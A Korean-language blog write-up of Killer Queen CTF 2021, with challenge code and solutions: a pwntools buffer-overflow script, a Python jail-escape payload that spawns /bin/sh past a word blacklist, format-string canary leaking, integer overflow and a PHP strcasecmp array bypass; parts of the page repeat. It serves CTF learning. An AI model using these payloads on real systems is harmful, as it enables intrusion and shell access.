정말 최악이였다... pwn문제는 3~4개 풀었는데 거의 3시간 넘게 서버가 다운되고 거의 대회 초반부터 remote 서버 주소를 주지 않아 계속 기다리다가 그냥 잤다..
PWN
A kind of magic
undefined8 main(void)
{
char local_38 [44];
uint local_c;
local_c = 0;
puts("Is this a kind of magic? What is your magic?: ");
fflush(stdout);
fgets(local_38,0x40,stdin);
printf("You entered %s\n",local_38);
printf("Your magic is: %d\n",(ulong)local_c);
fflush(stdout);
if (local_c == 0x539) {
puts("Whoa we got a magic man here!");
fflush(stdout);
system("cat flag.txt");
}
else {
puts("You need to challenge the doors of time");
fflush(stdout);
}
return 0;
}
local_38의 크기는 44이지만, fgets는 0x40만큼 받기 때문에 Overflow 발생
local_c의 값을 0x539로만 바꿔주면됨
from pwn import *
p = remote('143.198.184.186', 5000)
payload = "A"*44
payload += p64(0x539)
p.sendlineafter('magic?:', payload)
p.interactive()
I want to break free
jail.py
#!/usr/bin/env python3
def server():
message = """
You are in jail. Can you escape?
"""
print(message)
while True:
try:
data = input("> ")
safe = True
for char in data:
if not (ord(char)>=33 and ord(char)<=126):
safe = False
with open("blacklist.txt","r") as f:
badwords = f.readlines()
for badword in badwords:
if badword in data or data in badword:
safe = False
if safe:
print(exec(data))
else:
print("You used a bad word!")
except Exception as e:
print("Something went wrong.")
print(e)
exit()
if __name__ == "__main__":
server()
blacklist.txt
cat
grep
nano
import
eval
subprocess
input
sys
execfile
builtins
open
dict
exec
for
dir
file
input
write
while
echo
print
int
os
blacklist에 있는 단어들을 쓰면 프로그램이 종료됨(exit) -> 해당 blacklist를 우회하여 쉘을 실행시키면됨
__import__('o''s').system("/bin/sh")
zoom2win
말 그대로 ret2win을 하라고 알려주는 문제이다.
void main(void)
{
char local_28 [32];
puts("Let\'s not overcomplicate. Just zoom2win :)");
gets(local_28);
return;
}
undefined8 main(void)
{
long in_FS_OFFSET;
char local_58 [72];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
puts(
"What are these errors the compiler is giving me about gets and printf? Whatever, I have this little tweety birb protectinig me so it\'s not like you hacker can do anything. Anyways, what do you think of magpies?"
);
gets(local_58);
/* canary leak */
printf(local_58);
puts("\nhmmm interesting. What about water fowl?");
gets(local_58);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
첫 printf(local_58)에서 FSB가 터진다. 이를 이용하여 카나리의 값을 유추하고, 두번째 gets에 dummy+canary+rbp+ret순서로 덮으면 됨.
꽤나 애먹었던 문제.. Integer Overflow를 이용해서 푸는 문제인지는 간파했으나 정확한 값의 범위를 잘 몰랐었다.
import numpy as np
a = np.array([0], dtype=int)
val = int(input("This hammer hits so hard it creates negative matter\n"))
if val == -1:
exit()
a[0] = val
a[0] = (a[0] * 7) + 1
print(a[0])
if a[0] == -1:
print("flag!")
해당 코드는 (a[0]*7) + 1을 -1로 만들어야 한다.
그럼 a[0]*7을 -2로 만들거나 해야하는데 이때 Integer overflow를 이용
2^64 -1 = 18446744073709551615L
18446744073709551615L / 7 = 2635249153387078802L
2635249153387078802을 넣어주면 끝
Crypto
파일을 열어보면 E, C, P, Q 값을 주는데, 이를 이용하여 RSA Decoder툴을 이용하여 풀어주면 끝
WEB
Just not my type
if ($_SERVER['REQUEST_METHOD'] === 'POST')
{
$password = $_POST["password"];
if (strcasecmp($password, $FLAG) == 0)
{
echo $FLAG;
}
else
{
echo "That's the wrong password!";
}
}
strcasecmp에서 취약점이 터진다.
strcmp로 어떤 문자열을 비교하게 된다면, 배열 형식으로 데이터를 보내면 우회가 가능함
a = []
a.append(1739411)
a.append(1762811)
a.append(1794011)
a.append(1039911)
a.append(1061211)
a.append(1718321)
a.append(1773911)
a.append(1006611)
a.append(1516111)
a.append(1739411)
a.append(1582801)
a.append(1506121)
a.append(1783901)
a.append(1783901)
a.append(1773911)
a.append(1582801)
a.append(1006611)
a.append(1561711)
a.append(1039911)
a.append(1582801)
a.append(1773911)
a.append(1561711)
a.append(1582801)
a.append(1773911)
a.append(1006611)
a.append(1516111)
a.append(1516111)
a.append(1739411)
a.append(1728311)
a.append(1539421)
b = ""
for i in a:
c = str(i)[::-1]
c = c[0:-1]
c = int(c)
c = c ^ 5
c = c - 55555
c = c // 555
b += chr(c)
print(b)
Killer Queen CTF 2021 Write-Up
후기
정말 최악이였다... pwn문제는 3~4개 풀었는데 거의 3시간 넘게 서버가 다운되고 거의 대회 초반부터 remote 서버 주소를 주지 않아 계속 기다리다가 그냥 잤다..
PWN
A kind of magic
local_38의 크기는 44이지만, fgets는 0x40만큼 받기 때문에 Overflow 발생
local_c의 값을 0x539로만 바꿔주면됨
I want to break free
jail.py
blacklist.txt
blacklist에 있는 단어들을 쓰면 프로그램이 종료됨(exit) -> 해당 blacklist를 우회하여 쉘을 실행시키면됨
zoom2win
말 그대로 ret2win을 하라고 알려주는 문제이다.
gets에서 bof가 터지고 flag함수를 ret주소에 덮기만 하면됨
Tweety birb
첫 printf(local_58)에서 FSB가 터진다. 이를 이용하여 카나리의 값을 유추하고, 두번째 gets에 dummy+canary+rbp+ret순서로 덮으면 됨.
Hammer To Fall
꽤나 애먹었던 문제.. Integer Overflow를 이용해서 푸는 문제인지는 간파했으나 정확한 값의 범위를 잘 몰랐었다.
해당 코드는 (a[0]*7) + 1을 -1로 만들어야 한다.
그럼 a[0]*7을 -2로 만들거나 해야하는데 이때 Integer overflow를 이용
2^64 -1 = 18446744073709551615L
18446744073709551615L / 7 = 2635249153387078802L
2635249153387078802을 넣어주면 끝
Crypto
파일을 열어보면 E, C, P, Q 값을 주는데, 이를 이용하여 RSA Decoder툴을 이용하여 풀어주면 끝
WEB
Just not my type
strcasecmp에서 취약점이 터진다.
strcmp로 어떤 문자열을 비교하게 된다면, 배열 형식으로 데이터를 보내면 우회가 가능함
REV
파일을 열면
다음과 같은 코드들이 보인다. 해당 코드는 파이썬 바이트 코드이며, 해당 코드를 역어셈블하여 파이썬으로 실행해주면 된다.
사용된 명령어들의 해석은 다음과 같다
LOAD_GLOBAL (namei) → co_names[namei]라는 이름의 전역을 스택에 로드
LOAD_FAST(var_num) → 지역 co_varnames[var_num]에 대한 참조를 스택으로 푸시
LOAD_CONST → co_consts[consti]를 스택으로 푸시
STORE_FAST(var_num) → TOS를 지역 co_varnames[var_num]에 저장
예를 들면 해당 코드를 역어셈블하면 다음 파이썬 코드가 나온다.
그래서 위 코드들을 다 역어셈 한 후의 최종 파이썬 코드는 다음과 같다.
sneeki snek 2 oh no what did i do
sneak 1번문제와 마찬가지로 역어셈블하면됨
이 부분에서 해맸는데 검색해보니 [::-1]이라고 한다
'CTF-Writeup' 카테고리의 다른 글